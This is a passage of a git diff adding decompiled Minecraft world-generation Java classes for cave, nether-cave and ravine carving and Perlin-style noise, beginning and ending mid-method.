+      if ((var54) || (var25.nextInt(4) != 0))
+      {
+        double var35 = p_180702_6_ - var19;
+        double var37 = p_180702_10_ - var21;
+        double var39 = p_180702_16_ - p_180702_15_;
+        double var41 = p_180702_12_ + 2.0F + 16.0F;
+        
+        if (var35 * var35 + var37 * var37 - var39 * var39 > var41 * var41)
+        {
+          return;
+        }
+        
+        if ((p_180702_6_ >= var19 - 16.0D - var29 * 2.0D) && (p_180702_10_ >= var21 - 16.0D - var29 * 2.0D) && (p_180702_6_ <= var19 + 16.0D + var29 * 2.0D) && (p_180702_10_ <= var21 + 16.0D + var29 * 2.0D))
+        {
+          int var55 = MathHelper.floor_double(p_180702_6_ - var29) - p_180702_3_ * 16 - 1;
+          int var36 = MathHelper.floor_double(p_180702_6_ + var29) - p_180702_3_ * 16 + 1;
+          int var56 = MathHelper.floor_double(p_180702_8_ - var31) - 1;
+          int var38 = MathHelper.floor_double(p_180702_8_ + var31) + 1;
+          int var57 = MathHelper.floor_double(p_180702_10_ - var29) - p_180702_4_ * 16 - 1;
+          int var40 = MathHelper.floor_double(p_180702_10_ + var29) - p_180702_4_ * 16 + 1;
+          
+          if (var55 < 0)
+          {
+            var55 = 0;
+          }
+          
+          if (var36 > 16)
+          {
+            var36 = 16;
+          }
+          
+          if (var56 < 1)
+          {
+            var56 = 1;
+          }
+          
+          if (var38 > 248)
+          {
+            var38 = 248;
+          }
+          
+          if (var57 < 0)
+          {
+            var57 = 0;
+          }
+          
+          if (var40 > 16)
+          {
+            var40 = 16;
+          }
+          
+          boolean var58 = false;
+          
+
+          for (int var42 = var55; (!var58) && (var42 < var36); var42++)
+          {
+            for (int var43 = var57; (!var58) && (var43 < var40); var43++)
+            {
+              for (int var44 = var38 + 1; (!var58) && (var44 >= var56 - 1); var44--)
+              {
+                if ((var44 >= 0) && (var44 < 256))
+                {
+                  IBlockState var45 = p_180702_5_.getBlockState(var42, var44, var43);
+                  
+                  if ((var45.getBlock() == Blocks.flowing_water) || (var45.getBlock() == Blocks.water))
+                  {
+                    var58 = true;
+                  }
+                  
+                  if ((var44 != var56 - 1) && (var42 != var55) && (var42 != var36 - 1) && (var43 != var57) && (var43 != var40 - 1))
+                  {
+                    var44 = var56;
+                  }
+                }
+              }
+            }
+          }
+          
+          if (!var58)
+          {
+            for (var42 = var55; var42 < var36; var42++)
+            {
+              double var59 = (var42 + p_180702_3_ * 16 + 0.5D - p_180702_6_) / var29;
+              
+              for (int var60 = var57; var60 < var40; var60++)
+              {
+                double var46 = (var60 + p_180702_4_ * 16 + 0.5D - p_180702_10_) / var29;
+                boolean var48 = false;
+                
+                if (var59 * var59 + var46 * var46 < 1.0D)
+                {
+                  for (int var49 = var38; var49 > var56; var49--)
+                  {
+                    double var50 = (var49 - 1 + 0.5D - p_180702_8_) / var31;
+                    
+                    if ((var50 > -0.7D) && (var59 * var59 + var50 * var50 + var46 * var46 < 1.0D))
+                    {
+                      IBlockState var52 = p_180702_5_.getBlockState(var42, var49, var60);
+                      IBlockState var53 = (IBlockState)com.google.common.base.Objects.firstNonNull(p_180702_5_.getBlockState(var42, var49 + 1, var60), Blocks.air.getDefaultState());
+                      
+                      if ((var52.getBlock() == Blocks.grass) || (var52.getBlock() == Blocks.mycelium))
+                      {
+                        var48 = true;
+                      }
+                      
+                      if (func_175793_a(var52, var53))
+                      {
+                        if (var49 - 1 < 10)
+                        {
+                          p_180702_5_.setBlockState(var42, var49, var60, Blocks.lava.getDefaultState());
+                        }
+                        else
+                        {
+                          p_180702_5_.setBlockState(var42, var49, var60, Blocks.air.getDefaultState());
+                          
+                          if (var53.getBlock() == Blocks.sand)
+                          {
+                            p_180702_5_.setBlockState(var42, var49 + 1, var60, var53.getValue(net.minecraft.block.BlockSand.VARIANT_PROP) == BlockSand.EnumType.RED_SAND ? Blocks.red_sandstone.getDefaultState() : Blocks.sandstone.getDefaultState());
+                          }
+                          
+                          if ((var48) && (p_180702_5_.getBlockState(var42, var49 - 1, var60).getBlock() == Blocks.dirt))
+                          {
+                            p_180702_5_.setBlockState(var42, var49 - 1, var60, worldObj.getBiomeGenForCoords(new net.minecraft.util.BlockPos(var42 + p_180702_3_ * 16, 0, var60 + p_180702_4_ * 16)).topBlock.getBlock().getDefaultState());
+                          }
+                        }
+                      }
+                    }
+                  }
+                }
+              }
+            }
+            
+            if (var54) {
+              break;
+            }
+          }
+        }
+      }
+    }
+  }
+  
+
+  protected boolean func_175793_a(IBlockState p_175793_1_, IBlockState p_175793_2_)
+  {
+    return p_175793_1_.getBlock() == Blocks.stone;
+  }
+  
+  protected void func_180701_a(World worldIn, int p_180701_2_, int p_180701_3_, int p_180701_4_, int p_180701_5_, ChunkPrimer p_180701_6_)
+  {
+    int var7 = rand.nextInt(rand.nextInt(rand.nextInt(15) + 1) + 1);
+    
+    if (rand.nextInt(7) != 0)
+    {
+      var7 = 0;
+    }
+    
+    for (int var8 = 0; var8 < var7; var8++)
+    {
+      double var9 = p_180701_2_ * 16 + rand.nextInt(16);
+      double var11 = rand.nextInt(rand.nextInt(120) + 8);
+      double var13 = p_180701_3_ * 16 + rand.nextInt(16);
+      int var15 = 1;
+      
+      if (rand.nextInt(4) == 0)
+      {
+        func_180703_a(rand.nextLong(), p_180701_4_, p_180701_5_, p_180701_6_, var9, var11, var13);
+        var15 += rand.nextInt(4);
+      }
+      
+      for (int var16 = 0; var16 < var15; var16++)
+      {
+        float var17 = rand.nextFloat() * 3.1415927F * 2.0F;
+        float var18 = (rand.nextFloat() - 0.5F) * 2.0F / 8.0F;
+        float var19 = rand.nextFloat() * 2.0F + rand.nextFloat();
+        
+        if (rand.nextInt(10) == 0)
+        {
+          var19 *= (rand.nextFloat() * rand.nextFloat() * 3.0F + 1.0F);
+        }
+        
+        func_180702_a(rand.nextLong(), p_180701_4_, p_180701_5_, p_180701_6_, var9, var11, var13, var19, var17, var18, 0, 0, 1.0D);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/MapGenCavesHell.java b/src/minecraft/net/minecraft/world/gen/MapGenCavesHell.java
new file mode 100644
index 0000000..9c02273
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/MapGenCavesHell.java
@@ -0,0 +1,222 @@
+package net.minecraft.world.gen;
+
+import java.util.Random;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.chunk.ChunkPrimer;
+
+public class MapGenCavesHell extends MapGenBase
+{
+  private static final String __OBFID = "CL_00000395";
+  
+  public MapGenCavesHell() {}
+  
+  protected void func_180705_a(long p_180705_1_, int p_180705_3_, int p_180705_4_, ChunkPrimer p_180705_5_, double p_180705_6_, double p_180705_8_, double p_180705_10_)
+  {
+    func_180704_a(p_180705_1_, p_180705_3_, p_180705_4_, p_180705_5_, p_180705_6_, p_180705_8_, p_180705_10_, 1.0F + rand.nextFloat() * 6.0F, 0.0F, 0.0F, -1, -1, 0.5D);
+  }
+  
+  protected void func_180704_a(long p_180704_1_, int p_180704_3_, int p_180704_4_, ChunkPrimer p_180704_5_, double p_180704_6_, double p_180704_8_, double p_180704_10_, float p_180704_12_, float p_180704_13_, float p_180704_14_, int p_180704_15_, int p_180704_16_, double p_180704_17_)
+  {
+    double var19 = p_180704_3_ * 16 + 8;
+    double var21 = p_180704_4_ * 16 + 8;
+    float var23 = 0.0F;
+    float var24 = 0.0F;
+    Random var25 = new Random(p_180704_1_);
+    
+    if (p_180704_16_ <= 0)
+    {
+      int var26 = range * 16 - 16;
+      p_180704_16_ = var26 - var25.nextInt(var26 / 4);
+    }
+    
+    boolean var52 = false;
+    
+    if (p_180704_15_ == -1)
+    {
+      p_180704_15_ = p_180704_16_ / 2;
+      var52 = true;
+    }
+    
+    int var27 = var25.nextInt(p_180704_16_ / 2) + p_180704_16_ / 4;
+    
+    for (boolean var28 = var25.nextInt(6) == 0; p_180704_15_ < p_180704_16_; p_180704_15_++)
+    {
+      double var29 = 1.5D + MathHelper.sin(p_180704_15_ * 3.1415927F / p_180704_16_) * p_180704_12_ * 1.0F;
+      double var31 = var29 * p_180704_17_;
+      float var33 = MathHelper.cos(p_180704_14_);
+      float var34 = MathHelper.sin(p_180704_14_);
+      p_180704_6_ += MathHelper.cos(p_180704_13_) * var33;
+      p_180704_8_ += var34;
+      p_180704_10_ += MathHelper.sin(p_180704_13_) * var33;
+      
+      if (var28)
+      {
+        p_180704_14_ *= 0.92F;
+      }
+      else
+      {
+        p_180704_14_ *= 0.7F;
+      }
+      
+      p_180704_14_ += var24 * 0.1F;
+      p_180704_13_ += var23 * 0.1F;
+      var24 *= 0.9F;
+      var23 *= 0.75F;
+      var24 += (var25.nextFloat() - var25.nextFloat()) * var25.nextFloat() * 2.0F;
+      var23 += (var25.nextFloat() - var25.nextFloat()) * var25.nextFloat() * 4.0F;
+      
+      if ((!var52) && (p_180704_15_ == var27) && (p_180704_12_ > 1.0F))
+      {
+        func_180704_a(var25.nextLong(), p_180704_3_, p_180704_4_, p_180704_5_, p_180704_6_, p_180704_8_, p_180704_10_, var25.nextFloat() * 0.5F + 0.5F, p_180704_13_ - 1.5707964F, p_180704_14_ / 3.0F, p_180704_15_, p_180704_16_, 1.0D);
+        func_180704_a(var25.nextLong(), p_180704_3_, p_180704_4_, p_180704_5_, p_180704_6_, p_180704_8_, p_180704_10_, var25.nextFloat() * 0.5F + 0.5F, p_180704_13_ + 1.5707964F, p_180704_14_ / 3.0F, p_180704_15_, p_180704_16_, 1.0D);
+        return;
+      }
+      
+      if ((var52) || (var25.nextInt(4) != 0))
+      {
+        double var35 = p_180704_6_ - var19;
+        double var37 = p_180704_10_ - var21;
+        double var39 = p_180704_16_ - p_180704_15_;
+        double var41 = p_180704_12_ + 2.0F + 16.0F;
+        
+        if (var35 * var35 + var37 * var37 - var39 * var39 > var41 * var41)
+        {
+          return;
+        }
+        
+        if ((p_180704_6_ >= var19 - 16.0D - var29 * 2.0D) && (p_180704_10_ >= var21 - 16.0D - var29 * 2.0D) && (p_180704_6_ <= var19 + 16.0D + var29 * 2.0D) && (p_180704_10_ <= var21 + 16.0D + var29 * 2.0D))
+        {
+          int var53 = MathHelper.floor_double(p_180704_6_ - var29) - p_180704_3_ * 16 - 1;
+          int var36 = MathHelper.floor_double(p_180704_6_ + var29) - p_180704_3_ * 16 + 1;
+          int var54 = MathHelper.floor_double(p_180704_8_ - var31) - 1;
+          int var38 = MathHelper.floor_double(p_180704_8_ + var31) + 1;
+          int var55 = MathHelper.floor_double(p_180704_10_ - var29) - p_180704_4_ * 16 - 1;
+          int var40 = MathHelper.floor_double(p_180704_10_ + var29) - p_180704_4_ * 16 + 1;
+          
+          if (var53 < 0)
+          {
+            var53 = 0;
+          }
+          
+          if (var36 > 16)
+          {
+            var36 = 16;
+          }
+          
+          if (var54 < 1)
+          {
+            var54 = 1;
+          }
+          
+          if (var38 > 120)
+          {
+            var38 = 120;
+          }
+          
+          if (var55 < 0)
+          {
+            var55 = 0;
+          }
+          
+          if (var40 > 16)
+          {
+            var40 = 16;
+          }
+          
+          boolean var56 = false;
+          
+
+          for (int var42 = var53; (!var56) && (var42 < var36); var42++)
+          {
+            for (int var43 = var55; (!var56) && (var43 < var40); var43++)
+            {
+              for (int var44 = var38 + 1; (!var56) && (var44 >= var54 - 1); var44--)
+              {
+                if ((var44 >= 0) && (var44 < 128))
+                {
+                  IBlockState var45 = p_180704_5_.getBlockState(var42, var44, var43);
+                  
+                  if ((var45.getBlock() == net.minecraft.init.Blocks.flowing_lava) || (var45.getBlock() == net.minecraft.init.Blocks.lava))
+                  {
+                    var56 = true;
+                  }
+                  
+                  if ((var44 != var54 - 1) && (var42 != var53) && (var42 != var36 - 1) && (var43 != var55) && (var43 != var40 - 1))
+                  {
+                    var44 = var54;
+                  }
+                }
+              }
+            }
+          }
+          
+          if (!var56)
+          {
+            for (var42 = var53; var42 < var36; var42++)
+            {
+              double var57 = (var42 + p_180704_3_ * 16 + 0.5D - p_180704_6_) / var29;
+              
+              for (int var58 = var55; var58 < var40; var58++)
+              {
+                double var46 = (var58 + p_180704_4_ * 16 + 0.5D - p_180704_10_) / var29;
+                
+                for (int var48 = var38; var48 > var54; var48--)
+                {
+                  double var49 = (var48 - 1 + 0.5D - p_180704_8_) / var31;
+                  
+                  if ((var49 > -0.7D) && (var57 * var57 + var49 * var49 + var46 * var46 < 1.0D))
+                  {
+                    IBlockState var51 = p_180704_5_.getBlockState(var42, var48, var58);
+                    
+                    if ((var51.getBlock() == net.minecraft.init.Blocks.netherrack) || (var51.getBlock() == net.minecraft.init.Blocks.dirt) || (var51.getBlock() == net.minecraft.init.Blocks.grass))
+                    {
+                      p_180704_5_.setBlockState(var42, var48, var58, net.minecraft.init.Blocks.air.getDefaultState());
+                    }
+                  }
+                }
+              }
+            }
+            
+            if (var52) {
+              break;
+            }
+          }
+        }
+      }
+    }
+  }
+  
+
+  protected void func_180701_a(net.minecraft.world.World worldIn, int p_180701_2_, int p_180701_3_, int p_180701_4_, int p_180701_5_, ChunkPrimer p_180701_6_)
+  {
+    int var7 = rand.nextInt(rand.nextInt(rand.nextInt(10) + 1) + 1);
+    
+    if (rand.nextInt(5) != 0)
+    {
+      var7 = 0;
+    }
+    
+    for (int var8 = 0; var8 < var7; var8++)
+    {
+      double var9 = p_180701_2_ * 16 + rand.nextInt(16);
+      double var11 = rand.nextInt(128);
+      double var13 = p_180701_3_ * 16 + rand.nextInt(16);
+      int var15 = 1;
+      
+      if (rand.nextInt(4) == 0)
+      {
+        func_180705_a(rand.nextLong(), p_180701_4_, p_180701_5_, p_180701_6_, var9, var11, var13);
+        var15 += rand.nextInt(4);
+      }
+      
+      for (int var16 = 0; var16 < var15; var16++)
+      {
+        float var17 = rand.nextFloat() * 3.1415927F * 2.0F;
+        float var18 = (rand.nextFloat() - 0.5F) * 2.0F / 8.0F;
+        float var19 = rand.nextFloat() * 2.0F + rand.nextFloat();
+        func_180704_a(rand.nextLong(), p_180701_4_, p_180701_5_, p_180701_6_, var9, var11, var13, var19 * 2.0F, var17, var18, 0, 0, 0.5D);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/MapGenRavine.java b/src/minecraft/net/minecraft/world/gen/MapGenRavine.java
new file mode 100644
index 0000000..f20aebe
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/MapGenRavine.java
@@ -0,0 +1,223 @@
+package net.minecraft.world.gen;
+
+import java.util.Random;
+import net.minecraft.block.BlockDynamicLiquid;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.ChunkPrimer;
+
+public class MapGenRavine extends MapGenBase
+{
+  private float[] field_75046_d = new float['Ѐ'];
+  private static final String __OBFID = "CL_00000390";
+  
+  public MapGenRavine() {}
+  
+  protected void func_180707_a(long p_180707_1_, int p_180707_3_, int p_180707_4_, ChunkPrimer p_180707_5_, double p_180707_6_, double p_180707_8_, double p_180707_10_, float p_180707_12_, float p_180707_13_, float p_180707_14_, int p_180707_15_, int p_180707_16_, double p_180707_17_) { Random var19 = new Random(p_180707_1_);
+    double var20 = p_180707_3_ * 16 + 8;
+    double var22 = p_180707_4_ * 16 + 8;
+    float var24 = 0.0F;
+    float var25 = 0.0F;
+    
+    if (p_180707_16_ <= 0)
+    {
+      int var26 = range * 16 - 16;
+      p_180707_16_ = var26 - var19.nextInt(var26 / 4);
+    }
+    
+    boolean var52 = false;
+    
+    if (p_180707_15_ == -1)
+    {
+      p_180707_15_ = p_180707_16_ / 2;
+      var52 = true;
+    }
+    
+    float var27 = 1.0F;
+    
+    for (int var28 = 0; var28 < 256; var28++)
+    {
+      if ((var28 == 0) || (var19.nextInt(3) == 0))
+      {
+        var27 = 1.0F + var19.nextFloat() * var19.nextFloat() * 1.0F;
+      }
+      
+      field_75046_d[var28] = (var27 * var27);
+    }
+    for (; 
+        p_180707_15_ < p_180707_16_; p_180707_15_++)
+    {
+      double var53 = 1.5D + MathHelper.sin(p_180707_15_ * 3.1415927F / p_180707_16_) * p_180707_12_ * 1.0F;
+      double var30 = var53 * p_180707_17_;
+      var53 *= (var19.nextFloat() * 0.25D + 0.75D);
+      var30 *= (var19.nextFloat() * 0.25D + 0.75D);
+      float var32 = MathHelper.cos(p_180707_14_);
+      float var33 = MathHelper.sin(p_180707_14_);
+      p_180707_6_ += MathHelper.cos(p_180707_13_) * var32;
+      p_180707_8_ += var33;
+      p_180707_10_ += MathHelper.sin(p_180707_13_) * var32;
+      p_180707_14_ *= 0.7F;
+      p_180707_14_ += var25 * 0.05F;
+      p_180707_13_ += var24 * 0.05F;
+      var25 *= 0.8F;
+      var24 *= 0.5F;
+      var25 += (var19.nextFloat() - var19.nextFloat()) * var19.nextFloat() * 2.0F;
+      var24 += (var19.nextFloat() - var19.nextFloat()) * var19.nextFloat() * 4.0F;
+      
+      if ((var52) || (var19.nextInt(4) != 0))
+      {
+        double var34 = p_180707_6_ - var20;
+        double var36 = p_180707_10_ - var22;
+        double var38 = p_180707_16_ - p_180707_15_;
+        double var40 = p_180707_12_ + 2.0F + 16.0F;
+        
+        if (var34 * var34 + var36 * var36 - var38 * var38 > var40 * var40)
+        {
+          return;
+        }
+        
+        if ((p_180707_6_ >= var20 - 16.0D - var53 * 2.0D) && (p_180707_10_ >= var22 - 16.0D - var53 * 2.0D) && (p_180707_6_ <= var20 + 16.0D + var53 * 2.0D) && (p_180707_10_ <= var22 + 16.0D + var53 * 2.0D))
+        {
+          int var54 = MathHelper.floor_double(p_180707_6_ - var53) - p_180707_3_ * 16 - 1;
+          int var35 = MathHelper.floor_double(p_180707_6_ + var53) - p_180707_3_ * 16 + 1;
+          int var55 = MathHelper.floor_double(p_180707_8_ - var30) - 1;
+          int var37 = MathHelper.floor_double(p_180707_8_ + var30) + 1;
+          int var56 = MathHelper.floor_double(p_180707_10_ - var53) - p_180707_4_ * 16 - 1;
+          int var39 = MathHelper.floor_double(p_180707_10_ + var53) - p_180707_4_ * 16 + 1;
+          
+          if (var54 < 0)
+          {
+            var54 = 0;
+          }
+          
+          if (var35 > 16)
+          {
+            var35 = 16;
+          }
+          
+          if (var55 < 1)
+          {
+            var55 = 1;
+          }
+          
+          if (var37 > 248)
+          {
+            var37 = 248;
+          }
+          
+          if (var56 < 0)
+          {
+            var56 = 0;
+          }
+          
+          if (var39 > 16)
+          {
+            var39 = 16;
+          }
+          
+          boolean var57 = false;
+          
+
+          for (int var41 = var54; (!var57) && (var41 < var35); var41++)
+          {
+            for (int var42 = var56; (!var57) && (var42 < var39); var42++)
+            {
+              for (int var43 = var37 + 1; (!var57) && (var43 >= var55 - 1); var43--)
+              {
+                if ((var43 >= 0) && (var43 < 256))
+                {
+                  IBlockState var44 = p_180707_5_.getBlockState(var41, var43, var42);
+                  
+                  if ((var44.getBlock() == Blocks.flowing_water) || (var44.getBlock() == Blocks.water))
+                  {
+                    var57 = true;
+                  }
+                  
+                  if ((var43 != var55 - 1) && (var41 != var54) && (var41 != var35 - 1) && (var42 != var56) && (var42 != var39 - 1))
+                  {
+                    var43 = var55;
+                  }
+                }
+              }
+            }
+          }
+          
+          if (!var57)
+          {
+            for (var41 = var54; var41 < var35; var41++)
+            {
+              double var58 = (var41 + p_180707_3_ * 16 + 0.5D - p_180707_6_) / var53;
+              
+              for (int var59 = var56; var59 < var39; var59++)
+              {
+                double var45 = (var59 + p_180707_4_ * 16 + 0.5D - p_180707_10_) / var53;
+                boolean var47 = false;
+                
+                if (var58 * var58 + var45 * var45 < 1.0D)
+                {
+                  for (int var48 = var37; var48 > var55; var48--)
+                  {
+                    double var49 = (var48 - 1 + 0.5D - p_180707_8_) / var30;
+                    
+                    if ((var58 * var58 + var45 * var45) * field_75046_d[(var48 - 1)] + var49 * var49 / 6.0D < 1.0D)
+                    {
+                      IBlockState var51 = p_180707_5_.getBlockState(var41, var48, var59);
+                      
+                      if (var51.getBlock() == Blocks.grass)
+                      {
+                        var47 = true;
+                      }
+                      
+                      if ((var51.getBlock() == Blocks.stone) || (var51.getBlock() == Blocks.dirt) || (var51.getBlock() == Blocks.grass))
+                      {
+                        if (var48 - 1 < 10)
+                        {
+                          p_180707_5_.setBlockState(var41, var48, var59, Blocks.flowing_lava.getDefaultState());
+                        }
+                        else
+                        {
+                          p_180707_5_.setBlockState(var41, var48, var59, Blocks.air.getDefaultState());
+                          
+                          if ((var47) && (p_180707_5_.getBlockState(var41, var48 - 1, var59).getBlock() == Blocks.dirt))
+                          {
+                            p_180707_5_.setBlockState(var41, var48 - 1, var59, worldObj.getBiomeGenForCoords(new net.minecraft.util.BlockPos(var41 + p_180707_3_ * 16, 0, var59 + p_180707_4_ * 16)).topBlock);
+                          }
+                        }
+                      }
+                    }
+                  }
+                }
+              }
+            }
+            
+            if (var52) {
+              break;
+            }
+          }
+        }
+      }
+    }
+  }
+  
+
+  protected void func_180701_a(World worldIn, int p_180701_2_, int p_180701_3_, int p_180701_4_, int p_180701_5_, ChunkPrimer p_180701_6_)
+  {
+    if (rand.nextInt(50) == 0)
+    {
+      double var7 = p_180701_2_ * 16 + rand.nextInt(16);
+      double var9 = rand.nextInt(rand.nextInt(40) + 8) + 20;
+      double var11 = p_180701_3_ * 16 + rand.nextInt(16);
+      byte var13 = 1;
+      
+      for (int var14 = 0; var14 < var13; var14++)
+      {
+        float var15 = rand.nextFloat() * 3.1415927F * 2.0F;
+        float var16 = (rand.nextFloat() - 0.5F) * 2.0F / 8.0F;
+        float var17 = (rand.nextFloat() * 2.0F + rand.nextFloat()) * 2.0F;
+        func_180707_a(rand.nextLong(), p_180701_4_, p_180701_5_, p_180701_6_, var7, var9, var11, var17, var15, var16, 0, 0, 3.0D);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/NoiseGenerator.java b/src/minecraft/net/minecraft/world/gen/NoiseGenerator.java
new file mode 100644
index 0000000..9295eba
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/NoiseGenerator.java
@@ -0,0 +1,8 @@
+package net.minecraft.world.gen;
+
+public abstract class NoiseGenerator
+{
+  private static final String __OBFID = "CL_00000538";
+  
+  public NoiseGenerator() {}
+}
diff --git a/src/minecraft/net/minecraft/world/gen/NoiseGeneratorImproved.java b/src/minecraft/net/minecraft/world/gen/NoiseGeneratorImproved.java
new file mode 100644
index 0000000..3106600
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/NoiseGeneratorImproved.java
@@ -0,0 +1,214 @@
+package net.minecraft.world.gen;
+
+import java.util.Random;
+
+public class NoiseGeneratorImproved extends NoiseGenerator
+{
+  private int[] permutations;
+  public double xCoord;
+  public double yCoord;
+  public double zCoord;
+  private static final double[] field_152381_e = { 1.0D, -1.0D, 1.0D, -1.0D, 1.0D, -1.0D, 1.0D, -1.0D, 0.0D, 0.0D, 0.0D, 0.0D, 1.0D, 0.0D, -1.0D, 0.0D };
+  private static final double[] field_152382_f = { 1.0D, 1.0D, -1.0D, -1.0D, 0.0D, 0.0D, 0.0D, 0.0D, 1.0D, -1.0D, 1.0D, -1.0D, 1.0D, -1.0D, 1.0D, -1.0D };
+  private static final double[] field_152383_g = { 0.0D, 0.0D, 0.0D, 0.0D, 1.0D, 1.0D, -1.0D, -1.0D, 1.0D, 1.0D, -1.0D, -1.0D, 0.0D, 1.0D, 0.0D, -1.0D };
+  private static final double[] field_152384_h = { 1.0D, -1.0D, 1.0D, -1.0D, 1.0D, -1.0D, 1.0D, -1.0D, 0.0D, 0.0D, 0.0D, 0.0D, 1.0D, 0.0D, -1.0D, 0.0D };
+  private static final double[] field_152385_i = { 0.0D, 0.0D, 0.0D, 0.0D, 1.0D, 1.0D, -1.0D, -1.0D, 1.0D, 1.0D, -1.0D, -1.0D, 0.0D, 1.0D, 0.0D, -1.0D };
+  private static final String __OBFID = "CL_00000534";
+  
+  public NoiseGeneratorImproved()
+  {
+    this(new Random());
+  }
+  
+  public NoiseGeneratorImproved(Random p_i45469_1_)
+  {
+    permutations = new int['Ȁ'];
+    xCoord = (p_i45469_1_.nextDouble() * 256.0D);
+    yCoord = (p_i45469_1_.nextDouble() * 256.0D);
+    zCoord = (p_i45469_1_.nextDouble() * 256.0D);
+    
+
+    for (int var2 = 0; var2 < 256; permutations[var2] = (var2++)) {}
+    
+
+
+
+    for (var2 = 0; var2 < 256; var2++)
+    {
+      int var3 = p_i45469_1_.nextInt(256 - var2) + var2;
+      int var4 = permutations[var2];
+      permutations[var2] = permutations[var3];
+      permutations[var3] = var4;
+      permutations[(var2 + 256)] = permutations[var2];
+    }
+  }
+  
+  public final double lerp(double p_76311_1_, double p_76311_3_, double p_76311_5_)
+  {
+    return p_76311_3_ + p_76311_1_ * (p_76311_5_ - p_76311_3_);
+  }
+  
+  public final double func_76309_a(int p_76309_1_, double p_76309_2_, double p_76309_4_)
+  {
+    int var6 = p_76309_1_ & 0xF;
+    return field_152384_h[var6] * p_76309_2_ + field_152385_i[var6] * p_76309_4_;
+  }
+  
+  public final double grad(int p_76310_1_, double p_76310_2_, double p_76310_4_, double p_76310_6_)
+  {
+    int var8 = p_76310_1_ & 0xF;
+    return field_152381_e[var8] * p_76310_2_ + field_152382_f[var8] * p_76310_4_ + field_152383_g[var8] * p_76310_6_;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void populateNoiseArray(double[] p_76308_1_, double p_76308_2_, double p_76308_4_, double p_76308_6_, int p_76308_8_, int p_76308_9_, int p_76308_10_, double p_76308_11_, double p_76308_13_, double p_76308_15_, double p_76308_17_)
+  {
+    if (p_76308_9_ == 1)
+    {
+      boolean var64 = false;
+      boolean var65 = false;
+      boolean var21 = false;
+      boolean var68 = false;
+      double var70 = 0.0D;
+      double var73 = 0.0D;
+      int var75 = 0;
+      double var77 = 1.0D / p_76308_17_;
+      
+      for (int var30 = 0; var30 < p_76308_8_; var30++)
+      {
+        double var31 = p_76308_2_ + var30 * p_76308_11_ + xCoord;
+        int var78 = (int)var31;
+        
+        if (var31 < var78)
+        {
+          var78--;
+        }
+        
+        int var34 = var78 & 0xFF;
+        var31 -= var78;
+        double var35 = var31 * var31 * var31 * (var31 * (var31 * 6.0D - 15.0D) + 10.0D);
+        
+        for (int var37 = 0; var37 < p_76308_10_; var37++)
+        {
+          double var38 = p_76308_6_ + var37 * p_76308_15_ + zCoord;
+          int var40 = (int)var38;
+          
+          if (var38 < var40)
+          {
+            var40--;
+          }
+          
+          int var41 = var40 & 0xFF;
+          var38 -= var40;
+          double var42 = var38 * var38 * var38 * (var38 * (var38 * 6.0D - 15.0D) + 10.0D);
+          int var19 = permutations[var34] + 0;
+          int var66 = permutations[var19] + var41;
+          int var67 = permutations[(var34 + 1)] + 0;
+          int var22 = permutations[var67] + var41;
+          var70 = lerp(var35, func_76309_a(permutations[var66], var31, var38), grad(permutations[var22], var31 - 1.0D, 0.0D, var38));
+          var73 = lerp(var35, grad(permutations[(var66 + 1)], var31, 0.0D, var38 - 1.0D), grad(permutations[(var22 + 1)], var31 - 1.0D, 0.0D, var38 - 1.0D));
+          double var79 = lerp(var42, var70, var73);
+          int var10001 = var75++;
+          p_76308_1_[var10001] += var79 * var77;
+        }
+      }
+    }
+    else
+    {
+      int var19 = 0;
+      double var20 = 1.0D / p_76308_17_;
+      int var22 = -1;
+      boolean var23 = false;
+      boolean var24 = false;
+      boolean var25 = false;
+      boolean var26 = false;
+      boolean var27 = false;
+      boolean var28 = false;
+      double var29 = 0.0D;
+      double var31 = 0.0D;
+      double var33 = 0.0D;
+      double var35 = 0.0D;
+      
+      for (int var37 = 0; var37 < p_76308_8_; var37++)
+      {
+        double var38 = p_76308_2_ + var37 * p_76308_11_ + xCoord;
+        int var40 = (int)var38;
+        
+        if (var38 < var40)
+        {
+          var40--;
+        }
+        
+        int var41 = var40 & 0xFF;
+        var38 -= var40;
+        double var42 = var38 * var38 * var38 * (var38 * (var38 * 6.0D - 15.0D) + 10.0D);
+        
+        for (int var44 = 0; var44 < p_76308_10_; var44++)
+        {
+          double var45 = p_76308_6_ + var44 * p_76308_15_ + zCoord;
+          int var47 = (int)var45;
+          
+          if (var45 < var47)
+          {
+            var47--;
+          }
+          
+          int var48 = var47 & 0xFF;
+          var45 -= var47;
+          double var49 = var45 * var45 * var45 * (var45 * (var45 * 6.0D - 15.0D) + 10.0D);
+          
+          for (int var51 = 0; var51 < p_76308_9_; var51++)
+          {
+            double var52 = p_76308_4_ + var51 * p_76308_13_ + yCoord;
+            int var54 = (int)var52;
+            
+            if (var52 < var54)
+            {
+              var54--;
+            }
+            
+            int var55 = var54 & 0xFF;
+            var52 -= var54;
+            double var56 = var52 * var52 * var52 * (var52 * (var52 * 6.0D - 15.0D) + 10.0D);
+            
+            if ((var51 == 0) || (var55 != var22))
+            {
+              var22 = var55;
+              int var69 = permutations[var41] + var55;
+              int var71 = permutations[var69] + var48;
+              int var72 = permutations[(var69 + 1)] + var48;
+              int var74 = permutations[(var41 + 1)] + var55;
+              int var75 = permutations[var74] + var48;
+              int var76 = permutations[(var74 + 1)] + var48;
+              var29 = lerp(var42, grad(permutations[var71], var38, var52, var45), grad(permutations[var75], var38 - 1.0D, var52, var45));
+              var31 = lerp(var42, grad(permutations[var72], var38, var52 - 1.0D, var45), grad(permutations[var76], var38 - 1.0D, var52 - 1.0D, var45));
+              var33 = lerp(var42, grad(permutations[(var71 + 1)], var38, var52, var45 - 1.0D), grad(permutations[(var75 + 1)], var38 - 1.0D, var52, var45 - 1.0D));
+              var35 = lerp(var42, grad(permutations[(var72 + 1)], var38, var52 - 1.0D, var45 - 1.0D), grad(permutations[(var76 + 1)], var38 - 1.0D, var52 - 1.0D, var45 - 1.0D));
